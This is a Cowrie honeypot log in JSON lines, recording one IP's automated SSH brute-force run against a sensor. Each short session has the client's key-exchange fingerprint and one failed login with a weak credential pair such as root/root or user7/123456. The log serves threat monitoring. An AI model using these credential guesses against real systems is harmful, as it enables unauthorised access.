{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:34.442526Z","src_ip":"192.109.200.237","session":"7f9ceded648a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34834,"dst_ip":"159.203.135.109","dst_port":22,"session":"30ffc673a7dc","protocol":"ssh","message":"New connection: 192.109.200.237:34834 (159.203.135.109:22) [session: 30ffc673a7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:36.149415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:36.154249Z","src_ip":"192.109.200.237","session":"30ffc673a7dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:36.240309Z","src_ip":"192.109.200.237","session":"30ffc673a7dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:36.487748Z","src_ip":"192.109.200.237","session":"30ffc673a7dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:37.573465Z","src_ip":"192.109.200.237","session":"30ffc673a7dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34850,"dst_ip":"159.203.135.109","dst_port":22,"session":"00dda9edd10f","protocol":"ssh","message":"New connection: 192.109.200.237:34850 (159.203.135.109:22) [session: 00dda9edd10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:39.266502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:39.271366Z","src_ip":"192.109.200.237","session":"00dda9edd10f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:39.353922Z","src_ip":"192.109.200.237","session":"00dda9edd10f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:39.723843Z","src_ip":"192.109.200.237","session":"00dda9edd10f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:40.807623Z","src_ip":"192.109.200.237","session":"00dda9edd10f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58696,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf2eb182833f","protocol":"ssh","message":"New connection: 192.109.200.237:58696 (159.203.135.109:22) [session: cf2eb182833f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:42.641344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:42.649593Z","src_ip":"192.109.200.237","session":"cf2eb182833f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:42.732924Z","src_ip":"192.109.200.237","session":"cf2eb182833f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:42.982600Z","src_ip":"192.109.200.237","session":"cf2eb182833f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:44.069562Z","src_ip":"192.109.200.237","session":"cf2eb182833f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58722,"dst_ip":"159.203.135.109","dst_port":22,"session":"096827ecf3f9","protocol":"ssh","message":"New connection: 192.109.200.237:58722 (159.203.135.109:22) [session: 096827ecf3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:45.747169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:45.752092Z","src_ip":"192.109.200.237","session":"096827ecf3f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:45.834875Z","src_ip":"192.109.200.237","session":"096827ecf3f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:46.083023Z","src_ip":"192.109.200.237","session":"096827ecf3f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:47.168643Z","src_ip":"192.109.200.237","session":"096827ecf3f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58750,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d1c6d5277c2","protocol":"ssh","message":"New connection: 192.109.200.237:58750 (159.203.135.109:22) [session: 2d1c6d5277c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:48.889479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:48.897876Z","src_ip":"192.109.200.237","session":"2d1c6d5277c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:49.092808Z","src_ip":"192.109.200.237","session":"2d1c6d5277c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:49.377967Z","src_ip":"192.109.200.237","session":"2d1c6d5277c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:50.466492Z","src_ip":"192.109.200.237","session":"2d1c6d5277c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40560,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb024158cd7e","protocol":"ssh","message":"New connection: 192.109.200.237:40560 (159.203.135.109:22) [session: fb024158cd7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:52.231524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:52.235105Z","src_ip":"192.109.200.237","session":"fb024158cd7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:52.316486Z","src_ip":"192.109.200.237","session":"fb024158cd7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:52.562944Z","src_ip":"192.109.200.237","session":"fb024158cd7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37012,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea01fdb6951e","protocol":"telnet","message":"New connection: 192.119.13.58:37012 (10.17.0.5:23) [session: ea01fdb6951e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:53.441457Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:53.648784Z","src_ip":"192.109.200.237","session":"fb024158cd7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40576,"dst_ip":"159.203.135.109","dst_port":22,"session":"249524ec474b","protocol":"ssh","message":"New connection: 192.109.200.237:40576 (159.203.135.109:22) [session: 249524ec474b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:55.419332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:55.424128Z","src_ip":"192.109.200.237","session":"249524ec474b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:55.506329Z","src_ip":"192.109.200.237","session":"249524ec474b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:55.752979Z","src_ip":"192.109.200.237","session":"249524ec474b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:56.838089Z","src_ip":"192.109.200.237","session":"249524ec474b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40586,"dst_ip":"159.203.135.109","dst_port":22,"session":"4288fefc9a1b","protocol":"ssh","message":"New connection: 192.109.200.237:40586 (159.203.135.109:22) [session: 4288fefc9a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:58.559671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:58.563751Z","src_ip":"192.109.200.237","session":"4288fefc9a1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:58.645447Z","src_ip":"192.109.200.237","session":"4288fefc9a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:58.977099Z","src_ip":"192.109.200.237","session":"4288fefc9a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:00.062664Z","src_ip":"192.109.200.237","session":"4288fefc9a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42106,"dst_ip":"159.203.135.109","dst_port":22,"session":"afd8acd2cbba","protocol":"ssh","message":"New connection: 192.109.200.237:42106 (159.203.135.109:22) [session: afd8acd2cbba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:01.948718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:01.953485Z","src_ip":"192.109.200.237","session":"afd8acd2cbba","protocol":"ssh"}
